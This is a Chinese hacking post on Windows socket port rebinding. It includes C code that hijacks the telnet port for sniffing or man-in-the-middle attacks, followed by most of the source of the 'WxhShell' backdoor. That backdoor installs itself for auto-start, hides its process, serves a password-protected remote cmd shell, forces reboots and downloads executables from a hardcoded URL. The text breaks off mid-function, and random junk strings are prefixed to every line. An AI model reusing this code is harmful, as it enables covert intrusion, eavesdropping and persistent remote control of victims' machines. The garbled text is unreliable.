在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
/8cRPB. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
V8?}I)#(7 W(s4R,j saddr.sin_family = AF_INET;
=Ph8&l7~sp S(Yd.Sp saddr.sin_addr.s_addr = htonl(INADDR_ANY);
<>cS@V5j (\9`$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
(jgk !
6 y>^^. 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
7RAB"T;?Q }htjT/Nm 这意味着什么?意味着可以进行如下的攻击:
SUncQJJ0S* ~Iu! B
Y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
#%0V`BS7n {4 Of. 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
6o3
bq| O !L`0
=%c 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
':'g!b`/ [VCC+_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*z=_sD?1 Lsmcj{1d 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
d2
^}ooE c?p^!zG 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
S&op|Z)1 C$3*[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
9(CvGzco< _]Hna <Ly #include
o\AnM5 #include
f^WTsh] #include
3dShznlf_* #include
IUcL* DWORD WINAPI ClientThread(LPVOID lpParam);
IP~!E_e}\ int main()
J~Xv R {
$Gn.G_"v WORD wVersionRequested;
vh9* >[i DWORD ret;
hGR j WSADATA wsaData;
v0^9"V:y
BOOL val;
&K)8 SOCKADDR_IN saddr;
,b+NhxdZ SOCKADDR_IN scaddr;
o_b[ * int err;
DT1gy:?L SOCKET s;
dj|5'<l2 SOCKET sc;
30Yis_l2h int caddsize;
h$>F}n
j HANDLE mt;
2EY"[xK| DWORD tid;
F /b`[ wVersionRequested = MAKEWORD( 2, 2 );
ZO}Og&% err = WSAStartup( wVersionRequested, &wsaData );
r );R/)& if ( err != 0 ) {
A5?" printf("error!WSAStartup failed!\n");
6 Z/`p~e return -1;
#c!:&9oU }
D-3[#~MV saddr.sin_family = AF_INET;
x^f<G
6z ^\)a[OWp //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
] m]`J|%i 0oe<=L]F saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
h\m35'v! saddr.sin_port = htons(23);
Zw]`z*,yRA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?5|;3N/zt {
W<Uu.Y{sG printf("error!socket failed!\n");
IS C.~q2 return -1;
,m=F
H?5 }
|J`EM7qMK val = TRUE;
]5W$EvZ9) //SO_REUSEADDR选项就是可以实现端口重绑定的
-"(*'hD if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
XLpP*VH3 {
<sdgL+&1h printf("error!setsockopt failed!\n");
#GsOE#*>T return -1;
`s}* }
>hKsj{=R7 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
y48]|%73 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Jx*cq;`Vee //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
V>$( N/1 ^df wWP if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
wNONh`b {
dzcF15H1 ret=GetLastError();
5s7BUT printf("error!bind failed!\n");
FU|brSt return -1;
]A4=/6`g?b }
{f*Y}/@ listen(s,2);
OhF55,[ while(1)
QxT'\7f {
EIi<g2pM( caddsize = sizeof(scaddr);
gv!8' DKn //接受连接请求
9O[IR)O~ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/i+z#q5' if(sc!=INVALID_SOCKET)
~f QrH%@ {
~NGM6+9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:cpj{v;s if(mt==NULL)
AbU`wr/h 4 {
mq:k|w^6 printf("Thread Creat Failed!\n");
dQX-s=XJ break;
I#l}5e5 }
zcpL[@B }
YMGy-]!o CloseHandle(mt);
~Ps *i]n( }
OT#@\/> closesocket(s);
w,~*ead WSACleanup();
aRd~T6I return 0;
xL* psj }
ET*A0rt DWORD WINAPI ClientThread(LPVOID lpParam)
#%,X),%- {
YOxgpQ:i SOCKET ss = (SOCKET)lpParam;
opX07~1 SOCKET sc;
]&'!0'3` unsigned char buf[4096];
dT`nR" SOCKADDR_IN saddr;
~Nh6po{ long num;
O{ :{P5 DWORD val;
YSjc= DWORD ret;
g&RpE41x //如果是隐藏端口应用的话,可以在此处加一些判断
o)Q4+njT@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
N=mvr&arP saddr.sin_family = AF_INET;
:kZ]Swi 5 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
N'1I6e" saddr.sin_port = htons(23);
cGot0' mB if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(>`_N%_ {
hV3]1E21" printf("error!socket failed!\n");
+|?a7qM return -1;
k|fM9E }
2%/F`_XbP val = 100;
a[ULSYEi if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0jp].''RK\ {
K#FD$,c~ ret = GetLastError();
]t[%.^5# return -1;
eDd&vf }
DksYKv if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_ep&`K {
(nqhX<T> ret = GetLastError();
/fQcrd7h return -1;
|:)Bo<8 }
Y XhZWo{B if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
&0 QUObK {
6 `6I<OJ\ printf("error!socket connect failed!\n");
Ust +g4 closesocket(sc);
Zf M]A) closesocket(ss);
WO>A55Xya return -1;
.]9`eGVWj }
?MDo. z3 while(1)
n'rq {
P IG,a~ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
su0K#*P&I
//如果是嗅探内容的话,可以再此处进行内容分析和记录
|\bNFnn( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
hyxv+m[ num = recv(ss,buf,4096,0);
Dw=L]i
:0v if(num>0)
cg )(L; send(sc,buf,num,0);
^|/<e?~I else if(num==0)
lB}?ey break;
CXUF=IE num = recv(sc,buf,4096,0);
Vc\g"1x if(num>0)
erI&XI send(ss,buf,num,0);
/}u:N:HA% else if(num==0)
$y;w@^ break;
S5|7D[* }
yCz"~c closesocket(ss);
@Z0. }}Y closesocket(sc);
2 return 0 ;
s?<FS@k }
D[W`
q#W $7X;FmlG& 4=MVn ==========================================================
u%L6@M2 C,;?`3bH@ 下边附上一个代码,,WXhSHELL
+R?E @S oVqx)@$K ==========================================================
QAI=nrlp yS)k"XNb #include "stdafx.h"
lf\"6VIsR j gV^{8qG #include <stdio.h>
06NiH-0O #include <string.h>
5I* 1CIO #include <windows.h>
+%CXc% #include <winsock2.h>
]V fp,"op #include <winsvc.h>
,!SbH #include <urlmon.h>
Q3r]T.].h [/ CB1//Y #pragma comment (lib, "Ws2_32.lib")
gy1kb,MO #pragma comment (lib, "urlmon.lib")
%AV3eqghCg Y&VypZ"G> #define MAX_USER 100 // 最大客户端连接数
9[t-W:3c7 #define BUF_SOCK 200 // sock buffer
jKP75jm #define KEY_BUFF 255 // 输入 buffer
w8>lWgN ?@A@;`0Y #define REBOOT 0 // 重启
n n[idw #define SHUTDOWN 1 // 关机
6o#J X:FyNUa #define DEF_PORT 5000 // 监听端口
,:.8s>+i r?`nc6$0| #define REG_LEN 16 // 注册表键长度
7F~Jz*,B*W #define SVC_LEN 80 // NT服务名长度
cLp9|y0r |/-# N // 从dll定义API
rI)&.5^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
9(&$Gwi typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
4P2p|Gc3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
EZ Q!~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
uxrNkZia Nf~B 1vkp // wxhshell配置信息
PHsM)V+ struct WSCFG {
Z,3CMWHg int ws_port; // 监听端口
#.j:P# char ws_passstr[REG_LEN]; // 口令
X7aj/:fXe int ws_autoins; // 安装标记, 1=yes 0=no
3,+UsB% char ws_regname[REG_LEN]; // 注册表键名
=0@ o(#gM char ws_svcname[REG_LEN]; // 服务名
c1]\.s char ws_svcdisp[SVC_LEN]; // 服务显示名
8W.-Y|[5? char ws_svcdesc[SVC_LEN]; // 服务描述信息
"Q23s" char ws_passmsg[SVC_LEN]; // 密码输入提示信息
I#yd/d5^ int ws_downexe; // 下载执行标记, 1=yes 0=no
Erl@]P4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Tq6@
1j6p char ws_filenam[SVC_LEN]; // 下载后保存的文件名
BD ,3JDqT YkV-]%c };
m<9W#
(+\K // default Wxhshell configuration
is-{U?- struct WSCFG wscfg={DEF_PORT,
ku5g`ho "xuhuanlingzhe",
el0W0T 1,
a'@?c_y;$ "Wxhshell",
K)oN^ "Wxhshell",
!I8(Y "WxhShell Service",
TLzcQ | "Wrsky Windows CmdShell Service",
E }w<-]8 "Please Input Your Password: ",
HPWjNwM 1,
)&elr,b/y "
http://www.wrsky.com/wxhshell.exe",
> cJX'U9 "Wxhshell.exe"
I."4u~[ };
v3jx2Z dv\oVD // 消息定义模块
`!T6#6h char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
{Q~A;t char *msg_ws_prompt="\n\r? for help\n\r#>";
5h(]S[Zf3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
DU4Prjb' char *msg_ws_ext="\n\rExit.";
o;:a6D`
char *msg_ws_end="\n\rQuit.";
3?(||h{ char *msg_ws_boot="\n\rReboot...";
0 g(hY: char *msg_ws_poff="\n\rShutdown...";
?3i-wpzMp char *msg_ws_down="\n\rSave to ";
V/!8q`lYNJ 1z(y>`ZBq char *msg_ws_err="\n\rErr!";
?G-a:'1!6 char *msg_ws_ok="\n\rOK!";
`qsn; ,
v6[#NU_Z char ExeFile[MAX_PATH];
dkf?lmC+M int nUser = 0;
5G=CvGu HANDLE handles[MAX_USER];
_zO,VL int OsIsNt;
!$5U\"M oM-@B'TK SERVICE_STATUS serviceStatus;
%lPFq- SERVICE_STATUS_HANDLE hServiceStatusHandle;
MgLz:2
:F M+^+u 1QQ0 // 函数声明
yHoj:f$$x int Install(void);
7[V'3 int Uninstall(void);
!-4pr[C int DownloadFile(char *sURL, SOCKET wsh);
j:,*Liz int Boot(int flag);
cj<j*(ZZ void HideProc(void);
Wcn^IQ int GetOsVer(void);
Efw/bTEg int Wxhshell(SOCKET wsl);
S*CRVs void TalkWithClient(void *cs);
P>kS$U) int CmdShell(SOCKET sock);
@*l}2W int StartFromService(void);
T ,gMc int StartWxhshell(LPSTR lpCmdLine);
5,qfr!hN, }qXi;u)) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
+B'9!t4 2 VOID WINAPI NTServiceHandler( DWORD fdwControl );
y?aOk-TaRA *4[3?~_B#6 // 数据结构和表定义
:/Nz' n SERVICE_TABLE_ENTRY DispatchTable[] =
{{=7 mbc {
+Mv0X%(N {wscfg.ws_svcname, NTServiceMain},
w>rglm& {NULL, NULL}
9!FV.yp%F };
)mZ`j. t L;;Yt // 自我安装
]]%CO$`T[ int Install(void)
4- 6' {
OY`G _=6!N char svExeFile[MAX_PATH];
D9c8#k9Y. HKEY key;
T cSj`- strcpy(svExeFile,ExeFile);
$K8ZxH1z@ 3QS"n.d // 如果是win9x系统,修改注册表设为自启动
M* QqiE if(!OsIsNt) {
1rE hL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c6dL
S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
I[<C)IG RegCloseKey(key);
D@4hQC\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~Cj+6CrT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
XX}RbE#4 RegCloseKey(key);
S)$ES6]9/ return 0;
FJ>| l#nO }
h+ELtf }
59T:{d;~ }
4U> else {
c+|,2e
0T WZ~rsSZSV // 如果是NT以上系统,安装为系统服务
8<?60sj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
XF{}St~ ( if (schSCManager!=0)
]rHdG^0uss {
d%4!d_I< SC_HANDLE schService = CreateService
<(@m913| (
WRFzb0;01 schSCManager,
iu&'v wscfg.ws_svcname,
WZ"x\K-; wscfg.ws_svcdisp,
"o}3i!2Qr SERVICE_ALL_ACCESS,
T6-e SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
0$/wH#f SERVICE_AUTO_START,
W)w@ju$Ko SERVICE_ERROR_NORMAL,
kV6T#RVob svExeFile,
[Fr.ik NULL,
,p>=WX NULL,
*wyaBV?*K NULL,
(K>5DU NULL,
qV^,muyoG NULL
ShHm7+fV
);
VwHTtZ if (schService!=0)
6#.z:_ {
qeSxE`E" CloseServiceHandle(schService);
nP4jOq*H CloseServiceHandle(schSCManager);
i4v7x;m_p strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
O\B_=KWDO strcat(svExeFile,wscfg.ws_svcname);
*)U=ZO6S if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
`gD'q5.z;3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
KS1Z&~4 RegCloseKey(key);
[|xHXcW return 0;
nXk<DlTws }
TQ.d|{B[ }
&T}~h^/t CloseServiceHandle(schSCManager);
R.*KaCA }
=?0o5|u] }
D*DCMMp=0 y7ijT='8 return 1;
.& B_\* }
r2qxi' d1 D{wZ3g // 自我卸载
\O^b|0zc int Uninstall(void)
$^y6>@~ {
%#yCp2 HKEY key;
D#1'#di*t y 7|x<Z if(!OsIsNt) {
\ :1MM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$F`jM/B6 RegDeleteValue(key,wscfg.ws_regname);
/^
hB6_'D RegCloseKey(key);
qeb:n$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
O (<Wn- RegDeleteValue(key,wscfg.ws_regname);
Se%FqI RegCloseKey(key);
Nf%jLK~ return 0;
="P3TP }
;KWR/?ec }
LwZBM#_g }
%XMrSlSOp else {
W> s@fN9 8tK 8|t5+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
z0t6}E<VIR if (schSCManager!=0)
Ma0_!|i {
'{@hBB+ D SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
68kxw1xY if (schService!=0)
Ge8&_7 {
r3mB"("Z' if(DeleteService(schService)!=0) {
C=t:0.:PJ CloseServiceHandle(schService);
t7H2z}06=h CloseServiceHandle(schSCManager);
{l-,Jbfi` return 0;
FZ6.<wN }
OziG|o@I CloseServiceHandle(schService);
f"~+mO }
JR<#el
CloseServiceHandle(schSCManager);
:CV!:sUm }
57'=Qz52 }
c (O+s/
7]_UZ)u return 1;
if9I7@ }
=3?t%l;n C0[Rf.* // 从指定url下载文件
@tdX=\[~ int DownloadFile(char *sURL, SOCKET wsh)
,--/oP {
!bFa\6]q HRESULT hr;
VHsuC$3W char seps[]= "/";
E
j@M\ char *token;
T
{a%:=` char *file;
%f\ M61Z char myURL[MAX_PATH];
BA' ($D> char myFILE[MAX_PATH];
%L+/GtxK W@GcE;#- strcpy(myURL,sURL);
5m&{f>]T token=strtok(myURL,seps);
.J#xlOa- while(token!=NULL)
1 b+B {
(k"|k file=token;
c5>&~^~>Tx token=strtok(NULL,seps);
-N(y+~wN }
Zk$AAjC& @Ytsb!! GetCurrentDirectory(MAX_PATH,myFILE);
zkYlIUD strcat(myFILE, "\\");
fw ._ strcat(myFILE, file);
jb$sIZ%i send(wsh,myFILE,strlen(myFILE),0);
)/PvaL send(wsh,"...",3,0);
V=I au_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
#!u P>/ if(hr==S_OK)
3Zs|arde2 return 0;
64z9Yr@ else
Vj_(55WQ return 1;
d*khda;Vj S;M'qwN }
#s{>v$F S&}7jRH1 // 系统电源模块
J4 .C"v0a int Boot(int flag)
+ _rjA_ {
- y{*U1[ HANDLE hToken;
Y}7'OM TOKEN_PRIVILEGES tkp;
Ij(S"P@ ,RKBGOz?f if(OsIsNt) {
JQYIvo1,Q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
,w,>pO'[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
AT}}RE@vq tkp.PrivilegeCount = 1;
HAEgR tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/p~"?9b[ i AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
~mOGNf?f if(flag==REBOOT) {
*#;8mM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
oF,XSd return 0;
^_9 ^iL }
h>sz@\{ else {
lAJ) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
d#Sc4xuf return 0;
GRCc<TM,U }
wXPNfV<(2 }
hhlQ!WV2 else {
0){%4 if(flag==REBOOT) {
gn1`ZYg if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
0aQtJ0e16 return 0;
nL5Gr:SLo }
sSd else {
$_k'!/5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
fKOm\R47 return 0;
8A"[n>931 }
nT` NfN }
d8<Lk9H9R 'G>Ejh@t return 1;
E"!9WF(2t5 }
Ictc '#y %56pP"w // win9x进程隐藏模块
{k1s@KXtd void HideProc(void)
0t}=F4@&a {
<Xm5re. ]/p0j$Tq$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
B3O^(M5W if ( hKernel != NULL )
B
h@R9O< {
1@yXVD/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
,a?)#X ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
=}\]i* FreeLibrary(hKernel);
'97)c7E }
Bh:AY@k d%1S6eYa' return;
9r+ `j }
[4
g5{eX reM%GU // 获取操作系统版本
Ptzha?}OZ int GetOsVer(void)
E?y0UD[8J {
$%;NX[>j OSVERSIONINFO winfo;
<3P?rcd,5K winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
n]ar\f GetVersionEx(&winfo);
d`StBXG! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
R"5/ return 1;
~ Cks)mJs else
/ Zz2=gDY return 0;
qzE/n }
Qo DWR5*^D ^*A/92!yF // 客户端句柄模块
174H@ int Wxhshell(SOCKET wsl)
fB1JU1 {
miuJ!Kr' SOCKET wsh;
]j*o&6cQf struct sockaddr_in client;
AbZ:AJ(
DWORD myID;
X^_,`H@ 1k2Ck while(nUser<MAX_USER)
vH#
US {
"M7ry9dDH int nSize=sizeof(client);
Lr)h>j6\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
hz Vpv,|G if(wsh==INVALID_SOCKET) return 1;
PHDKx+$ s[nOB0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
1:My8 if(handles[nUser]==0)
cIl^5eE^Pq closesocket(wsh);
&BG^:4b else
RduA0@g0 nUser++;
(d^pYPr{ }
~S|Vd WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#$jAGt3^BT
[+{ ot
return 0;
W} Nd3 }
J9/9k s]L`&fY]O // 关闭 socket
Cd7jG void CloseIt(SOCKET wsh)
Se"\PxBR {
IZJV6clM closesocket(wsh);
TUy*wp9 nUser--;
UT+\IzL ExitThread(0);
Yr-,0${m }
k49CS*I X%`8h_ // 客户端请求句柄
s<:"rw` void TalkWithClient(void *cs)
SnQ$ {
d#ld*\| (`3Bi]7 SOCKET wsh=(SOCKET)cs;
@=Ly#HuUM char pwd[SVC_LEN];
umrRlF4M; char cmd[KEY_BUFF];
<6dD{{J]>p char chr[1];
jJ55Az?t: int i,j;
v
bb mmv 4$IPz7 while (nUser < MAX_USER) {
eqeVz` Nj#!L~^h, if(wscfg.ws_passstr) {
CFul_qZ/e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
htM5Nm[g //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
bGK&W;Myk //ZeroMemory(pwd,KEY_BUFF);
T%P0M* i=0;
{:6VJ0s\ while(i<SVC_LEN) {
px4Z K/MIDH // 设置超时
nn#A-x}~;b fd_set FdRead;
5U1@wfKE3> struct timeval TimeOut;
bXJ,L$q FD_ZERO(&FdRead);
C!qW:H FD_SET(wsh,&FdRead);
eDaVoc3 TimeOut.tv_sec=8;
akd~Z TimeOut.tv_usec=0;
$|(roC( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
}{iR+MX if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
14oD^`-t fD,#z& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
C,tlp pwd
=chr[0]; ]NTHit^EX
if(chr[0]==0xd || chr[0]==0xa) { >#!n"i;
pwd=0; ,{'~J @
break; ^4s#nf:}
} ?[XH`c,
i++; v]VIUVd
} =i:?4pIZ
*:\QD 8 ^
// 如果是非法用户,关闭 socket !29
Rl`9
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xFg=Tyq:
} L?al2aopF
~0/=5 dC
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _;'}P2&Q
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `awk@
Lg Bs<2
while(1) { /x$ jd)C
<6(u%t0k5
ZeroMemory(cmd,KEY_BUFF); r\Man'h$
WqYl=%x"{V
// 自动支持客户端 telnet标准 {_k 6 t
j=0; {tWfLfzU
while(j<KEY_BUFF) { /eIwv31
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l l&iMj]
cmd[j]=chr[0]; WU=Os8gR
if(chr[0]==0xa || chr[0]==0xd) { h!d#=.R
cmd[j]=0; _e`b^_
break; bE0S)b)
} :$P <e~z'
j++; g@nE7H1V
} c?IIaj!
c!kbHZ<Z
// 下载文件 zlSwKd(
if(strstr(cmd,"http://")) { X_%78$N-a`
send(wsh,msg_ws_down,strlen(msg_ws_down),0); &=02.E@
if(DownloadFile(cmd,wsh)) [=V8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {`J7>K
else \;P Bx &
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o<C~67o_
} ]t#,{%h
else { ](T*f'LN
2H]&3kM3X
switch(cmd[0]) { B623B HwS
&<!I]:Y
// 帮助 >TL0hBaaR
case '?': { VaQ}XM
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *RuUf
break; ky!'.3yoI
} /jS
// 安装 Cs*u{O
case 'i': { {BKI8vy
if(Install()) J+z0,N[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qPzgGbmD9
else *B3` #t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JNMZn/
break; 2OK%eVba
} @8/-^Rh*
// 卸载 b,SY(Ce~g
case 'r': { 66z1_lA
if(Uninstall()) {H0B"i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cu/w><h)
else u 4)i7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #>>-:?X
break; =&}dP%3LC)
} "I+wU`AIek
// 显示 wxhshell 所在路径 yYF80mnJz
case 'p': { ;PLby]=O
char svExeFile[MAX_PATH]; -ud!j
strcpy(svExeFile,"\n\r"); x>Q#Bvy
strcat(svExeFile,ExeFile); 2+ 9">a@
send(wsh,svExeFile,strlen(svExeFile),0); *,Y+3yM
break; F'`L~!F
} d]a*)m&
// 重启 g{a_{P
case 'b': { (?J&Ar0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FQ O6w'
if(Boot(REBOOT)) 8G{} r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :r#FI".qx
else { B-eYWt8s
closesocket(wsh); (wbG0lu
ExitThread(0); 81aY*\
} ^Z}INUv]7
break; V1"+4&R^T_
} 'f5,%e2#
// 关机 ]2Lwd@
case 'd': { [QL)6Xr
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vT[%*)`
if(Boot(SHUTDOWN)) D+"5R5J",
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /4=O^;
else { \mv7"TM
closesocket(wsh); TQnMPELh"
ExitThread(0); "CLd_H*)c
} 2Uk$9s
break; mtJI#P
} 5GpRN
// 获取shell ]A!Gr(FHQ
case 's': { |yQ3H)qB#
CmdShell(wsh); #x"pG
closesocket(wsh); c: #1Aym
ExitThread(0); c
t,p?[Q
break; tJg
} yQCfn1a)
// 退出 @^%zh
case 'x': { 6' ?Y]K
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (5'qEi ea
CloseIt(wsh); #PtV=Ee1
break; ,hX03P-X
} ZEHz/Y%
// 离开 7G2TT a
case 'q': { l} h<2
send(wsh,msg_ws_end,strlen(msg_ws_end),0); YMJjO0
closesocket(wsh); i mJ{wF
WSACleanup(); mDj:w#q
exit(1); dr:)+R
break; V&NOp
} ^$yr-p%-
} CXJ0N
} })ss.
J}<k`af
// 提示信息 .cle^P
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )LH nDx
} aA0aW=R
} VJJw"4DJ
V^.~m;ETu]
return; ~M43#E[oOF
} G|X1c}zAL
%'t~+_
// shell模块句柄 tjO||]I
int CmdShell(SOCKET sock) dkRJ^~
{ c+-L>dsss
STARTUPINFO si; WvNX%se]3
ZeroMemory(&si,sizeof(si)); QbpRSdxy`$
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m", $M>
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DhkzVp_
PROCESS_INFORMATION ProcessInfo; d<: VoQM6M
char cmdline[]="cmd"; {f)",#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `<+D<x)(3
return 0; 1
!OQxY}f
} Bz!ddAvlK
RQ9T<t42
// 自身启动模式 9k2HP]8=[{
int StartFromService(void) <[[DS%(M^
{ ' J]V"Z)
typedef struct >l'QX(
{ b^^Cj(
DWORD ExitStatus; ~])\xC
DWORD PebBaseAddress; pD.7ib^
DWORD AffinityMask; ~eqX<0hf@
DWORD BasePriority; _<kE32Bb
ULONG UniqueProcessId; !^G+@~U
ULONG InheritedFromUniqueProcessId; H9nZ%n
